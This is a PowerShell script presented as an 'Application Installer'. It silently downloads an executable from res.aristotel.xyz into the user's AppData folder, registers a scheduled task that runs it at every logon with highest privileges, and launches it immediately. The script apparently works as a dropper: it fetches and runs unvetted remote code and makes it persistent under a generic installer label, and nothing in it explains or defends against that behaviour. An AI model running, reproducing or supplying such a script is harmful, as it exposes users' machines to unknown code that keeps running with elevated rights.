# Application Installer $appName = "sbts_miron" $downloadUrl = "https://res.aristotel.xyz/sbts_miron.exe" $exePath = "$env:APPDATA\$appName\sbts_miron.exe" try { # Create directory $installDir = Split-Path $exePath -Parent if (!(Test-Path $installDir)) { New-Item -ItemType Directory -Path $installDir -Force | Out-Null Write-Host "Created directory: $installDir" } # Download application Write-Host "Downloading $appName..." $ProgressPreference = 'SilentlyContinue' Invoke-WebRequest -Uri $downloadUrl -OutFile $exePath -UseBasicParsing if (Test-Path $exePath) { $fileSize = (Get-Item $exePath).Length Write-Host "Download completed - File size: $fileSize bytes" if ($fileSize -gt 0) { # Create scheduled task - using the EXACT same path $taskName = "$appName Starter" schtasks /create /tn "$taskName" /tr "$exePath" /sc onlogon /rl highest /f Write-Host "Scheduled task created: $taskName" Write-Host "Task will run: $exePath" # Run application Start-Process -FilePath $exePath Write-Host "Application started successfully!" } else { Write-Host "Downloaded file is empty" -ForegroundColor Red } } else { Write-Host "Download failed - file not found" -ForegroundColor Red } } catch { Write-Host "Installation failed: $_" -ForegroundColor Red } # Verification Write-Host "Verification:" Write-Host "File location: $exePath" if (Test-Path $exePath) { Write-Host "✓ File exists" -ForegroundColor Green } else { Write-Host "✗ File missing" -ForegroundColor Red }